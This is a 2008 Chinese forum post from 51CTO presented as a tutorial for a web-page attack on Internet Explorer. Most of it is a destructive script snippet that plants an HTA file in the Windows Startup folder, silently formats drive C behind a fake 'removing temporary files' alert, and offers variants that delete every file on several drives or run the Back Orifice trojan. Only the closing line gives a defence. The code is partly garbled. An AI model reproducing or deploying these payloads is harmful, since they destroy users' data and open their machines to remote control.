网页攻击教学 - 网络安全 - 51CTO技术论坛

社区导航: 专家门诊网络技术操作系统数据库程序设计系统应用考试认证 CIO及信息化站长交流综合交流下载基地 51CTO产品服务

【设为首页 | 收藏本站】

51CTO技术论坛» 网络安全 » 网页攻击教学 [ 打印] [ 订阅] [ 收藏] [ 推荐给朋友] [ 本帖文本页]

论坛跳转:

有 77 人正在关注专家在线(【第77期专家门诊】剖析网络扫描原理、常用工具、防护措施及实践经验)，您不想去看看吗？离专家在线开始还有:00时 00分00秒

zhirumuma
新新人类

帖子 20
精华 0
无忧币 -2
积分 100
阅读权限 20

注册日期 2008-1-26

最后登录 2008-5-27

离线

[查看资料] [发短消息] [Blog]

发表于:2008-1-26 17:45　　标题：网页攻击教学
＜上一帖 | 下一帖＞

这一项教学就是利用微软( Microsoft )的IE浏览器( Internet Explorer )所衍生出来的
攻击方法。

教学开始∶

以下这段就是具有破坏性的HTML

Hacking Your Computer .

scr.Reset();
scr.Path="C:\WINDOWS\Start Menu\Programs\启动\hack.hta";
scr.Doc="
wsh.Run(start.exe /m format c:/q /autotest /u);
alert(IMPORTANT : Windows is removing unused temporary files.);";
scr.write();

(懂HTML的人应该就看得出来其中精随)

现在我大概来解释其中几个项目所写的意思

scr.Path="C:\WINDOWS\Start Menu\Programs\启动\hack.hta"

这一项就是指当你看到这网页它会写入到你的电脑启动目录底下，并命名为
hack.hta

wsh.Run(start.exe /m format c:/q /autotest /u);

通常要格式化硬碟都会先问你是否要执行，但其中的"/autotest"这项。

它是一个微软没有公开的功能，键入後format的动作便会被强制执行。

这项中的/q /u是令系统不需要检查硬碟便会立即执行的指令。

最後start.exe再配合/m选项可以使format的DOS-prompt视窗在执行的时候处於最小
化的状态。

执行其他攻击指令的方法∶

只要修改“start.exe /m format c:/q /autotest /u”这一项便形。

start.exe /m format c:/q /autotest /u

其中的“c:”可以换做其他的硬碟。

(path)\bo2k.exe

执行它电脑中的某个程式，如果你有传bo2k到它电脑中就可以使用此指令。

start.exe /m deltree /y a:\*.* c:\*.* d:\*.*

杀掉对方硬碟底下所有的档案。

start.exe /m deltree /y c:\windows\system\*.*

杀掉对方c:\windows\system\目录底下的所有档案。

後叙∶

预防遭此手段的破坏就是到微软去更新你的浏览器。